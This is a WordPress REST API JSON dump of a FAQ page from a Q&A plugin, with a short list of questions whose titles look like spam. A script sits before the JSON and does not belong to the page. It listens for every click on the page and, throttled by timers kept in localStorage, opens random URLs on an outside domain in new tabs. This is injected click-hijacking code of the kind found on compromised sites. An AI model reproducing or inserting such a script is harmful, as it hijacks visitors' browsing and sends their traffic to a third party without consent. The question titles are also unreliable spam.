<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":871,"date":"2014-10-16T17:04:22","date_gmt":"2014-10-16T09:04:22","guid":{"rendered":"http:\/\/edu.secda.info\/yujuwu\/?page_id=871"},"modified":"2014-10-16T17:04:44","modified_gmt":"2014-10-16T09:04:44","slug":"dwqa-questions","status":"publish","type":"page","link":"https:\/\/edu.secda.info\/yujuwu\/?page_id=871","title":{"rendered":"FAQ"},"content":{"rendered":"<div class=\"dwqa-container\" ><div class=\"dwqa-questions-archive\"><form id=\"dwqa-search\" class=\"dwqa-search\"><input data-nonce=\"d42c6b8d99\" type=\"text\" placeholder=\"What do you want to know?\" name=\"qs\" value=\"\"><\/form><div class=\"dwqa-question-filter\"><span>Filter:<\/span><a href=\"\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fpages%2F871&#038;filter=all\" class=\"active\">\u6240\u6709<\/a><a href=\"\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fpages%2F871&#038;filter=open\" class=\"\">\u958b\u653e<\/a><a href=\"\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fpages%2F871&#038;filter=resolved\" class=\"\">\u5df2\u89e3\u6c7a<\/a><a href=\"\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fpages%2F871&#038;filter=closed\" class=\"\">\u95dc\u9589<\/a><a href=\"\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fpages%2F871&#038;filter=unanswered\" class=\"\">Unanswered<\/a><select id=\"dwqa-sort-by\" class=\"dwqa-sort-by\" onchange=\"this.options[this.selectedIndex].value && (window.location = this.options[this.selectedIndex].value);\"><option selected disabled>Sort by<\/option><option value=\"\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fpages%2F871&#038;sort=views\">Views<\/option><option value=\"\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fpages%2F871&#038;sort=answers\">\u7b54\u6848<\/option><option value=\"\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fpages%2F871&#038;sort=votes\">Votes<\/option><\/select><\/div><div class=\"dwqa-questions-list\"><div class=\"dwqa-question-item\"><div class=\"dwqa-question-title\"><a href=\"https:\/\/edu.secda.info\/yujuwu\/?dwqa-question=the-ultimate-guide-to-%e5%a4%96%e8%b3%87%e8%a8%ad%e7%ab%8b%e5%85%ac%e5%8f%b8\">The Ultimate Guide To \u5916\u8cc7\u8a2d\u7acb\u516c\u53f8<\/a><\/div><div class=\"dwqa-question-meta\"><span title=\"\u958b\u653e\" class=\"dwqa-status dwqa-status-open\">\u958b\u653e<\/span><span><a href=\"\">Cortez Torrens<\/a> \u63d0\u554f\u65bc 6 \u5929 ago<\/span><span class=\"dwqa-question-category\">&nbsp;&bull;&nbsp;<a href=\"https:\/\/edu.secda.info\/yujuwu\/?dwqa-question_category=questions\" rel=\"tag\">Questions<\/a><\/span><\/div><div class=\"dwqa-question-stats\"><span class=\"dwqa-views-count\"><strong>6<\/strong> views<\/span><span class=\"dwqa-answers-count\"><strong>0<\/strong> answers<\/span><span class=\"dwqa-votes-count\"><strong>0<\/strong> votes<\/span><\/div><\/div><div class=\"dwqa-question-item\"><div class=\"dwqa-question-title\"><a href=\"https:\/\/edu.secda.info\/yujuwu\/?dwqa-question=what-everybody-ought-to-know-about-%e6%8c%89%e6%91%a9%e5%b8%ab%e8%ad%89%e7%85%a7\">What Everybody Ought To Know About \u6309\u6469\u5e2b\u8b49\u7167<\/a><\/div><div class=\"dwqa-question-meta\"><span title=\"\u958b\u653e\" class=\"dwqa-status dwqa-status-open\">\u958b\u653e<\/span><span><a href=\"\">Faustino Wolf<\/a> \u63d0\u554f\u65bc 3 \u9031 ago<\/span><span class=\"dwqa-question-category\">&nbsp;&bull;&nbsp;<a href=\"https:\/\/edu.secda.info\/yujuwu\/?dwqa-question_category=questions\" rel=\"tag\">Questions<\/a><\/span><\/div><div class=\"dwqa-question-stats\"><span class=\"dwqa-views-count\"><strong>8<\/strong> views<\/span><span class=\"dwqa-answers-count\"><strong>0<\/strong> answers<\/span><span class=\"dwqa-votes-count\"><strong>0<\/strong> votes<\/span><\/div><\/div><div class=\"dwqa-question-item\"><div class=\"dwqa-question-title\"><a href=\"https:\/\/edu.secda.info\/yujuwu\/?dwqa-question=essentially-the-most-and-least-effective-concepts-in-%e8%88%92%e5%a3%93%e8%aa%b2%e7%a8%8b\">Essentially the most (and Least) Effective Concepts In \u8212\u58d3\u8ab2\u7a0b<\/a><\/div><div class=\"dwqa-question-meta\"><span title=\"\u958b\u653e\" class=\"dwqa-status dwqa-status-open\">\u958b\u653e<\/span><span><a href=\"\">Lavonne Burnside<\/a> \u63d0\u554f\u65bc 3 \u9031 ago<\/span><span class=\"dwqa-question-category\">&nbsp;&bull;&nbsp;<a href=\"https:\/\/edu.secda.info\/yujuwu\/?dwqa-question_category=questions\" rel=\"tag\">Questions<\/a><\/span><\/div><div class=\"dwqa-question-stats\"><span class=\"dwqa-views-count\"><strong>8<\/strong> views<\/span><span class=\"dwqa-answers-count\"><strong>0<\/strong> answers<\/span><span class=\"dwqa-votes-count\"><strong>0<\/strong> votes<\/span><\/div><\/div><div class=\"dwqa-question-item\"><div class=\"dwqa-question-title\"><a href=\"https:\/\/edu.secda.info\/yujuwu\/?dwqa-question=finding-clients-with-%e6%95%b4%e9%aa%a8%e5%ad%b8%e5%be%92-half-abc\">Finding Clients With \u6574\u9aa8\u5b78\u5f92 (Half A,B,C &#8230; )<\/a><\/div><div class=\"dwqa-question-meta\"><span title=\"\u958b\u653e\" class=\"dwqa-status dwqa-status-open\">\u958b\u653e<\/span><span><a href=\"\">Bridgette Rennie<\/a> \u63d0\u554f\u65bc 1 \u500b\u6708 ago<\/span><span class=\"dwqa-question-category\">&nbsp;&bull;&nbsp;<a href=\"https:\/\/edu.secda.info\/yujuwu\/?dwqa-question_category=questions\" rel=\"tag\">Questions<\/a><\/span><\/div><div class=\"dwqa-question-stats\"><span class=\"dwqa-views-count\"><strong>9<\/strong> views<\/span><span class=\"dwqa-answers-count\"><strong>0<\/strong> answers<\/span><span class=\"dwqa-votes-count\"><strong>0<\/strong> votes<\/span><\/div><\/div><div class=\"dwqa-question-item\"><div class=\"dwqa-question-title\"><a href=\"https:\/\/edu.secda.info\/yujuwu\/?dwqa-question=ten-odd-ball-tips-on-%e6%92%a5%e7%ad%8b%e5%89%b5%e6%a5%ad\">Ten Odd-Ball Tips on \u64a5\u7b4b\u5275\u696d<\/a><\/div><div class=\"dwqa-question-meta\"><span title=\"\u958b\u653e\" class=\"dwqa-status dwqa-status-open\">\u958b\u653e<\/span><span><a href=\"\">Nestor Sidhu<\/a> \u63d0\u554f\u65bc 1 \u500b\u6708 ago<\/span><span class=\"dwqa-question-category\">&nbsp;&bull;&nbsp;<a href=\"https:\/\/edu.secda.info\/yujuwu\/?dwqa-question_category=questions\" rel=\"tag\">Questions<\/a><\/span><\/div><div class=\"dwqa-question-stats\"><span class=\"dwqa-views-count\"><strong>16<\/strong> views<\/span><span class=\"dwqa-answers-count\"><strong>0<\/strong> answers<\/span><span class=\"dwqa-votes-count\"><strong>0<\/strong> votes<\/span><\/div><\/div><\/div><div class=\"dwqa-questions-footer\"><div class=\"dwqa-pagination\"><span aria-dwqa-current=\"page\" class=\"dwqa-page-numbers dwqa-current\">1<\/span><a class=\"dwqa-page-numbers\" href=\"https:\/\/edu.secda.info\/yujuwu\/?page_id=871&#038;paged=2&#038;rest_route=%2Fwp%2Fv2%2Fpages%2F871\">2<\/a><a class=\"dwqa-page-numbers\" href=\"https:\/\/edu.secda.info\/yujuwu\/?page_id=871&#038;paged=3&#038;rest_route=%2Fwp%2Fv2%2Fpages%2F871\">3<\/a><span class=\"dwqa-page-numbers dots\">...<\/span><a class=\"dwqa-page-numbers\" href=\"https:\/\/edu.secda.info\/yujuwu\/?page_id=871&#038;paged=502&#038;rest_route=%2Fwp%2Fv2%2Fpages%2F871\">502<\/a><a class=\"next dwqa-page-numbers\" href=\"https:\/\/edu.secda.info\/yujuwu\/?page_id=871&#038;paged=2&#038;rest_route=%2Fwp%2Fv2%2Fpages%2F871\">\u4e0b\u4e00\u9801 &raquo;<\/a><\/div><div class=\"dwqa-ask-question\"><a href=\"https:\/\/edu.secda.info\/yujuwu\/?page_id=872\">\u63d0\u51fa\u554f\u984c<\/a><\/div><\/div><\/div><\/div>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/pages\/871"}],"collection":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=871"}],"version-history":[{"count":1,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/pages\/871\/revisions"}],"predecessor-version":[{"id":873,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/pages\/871\/revisions\/873"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=871"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}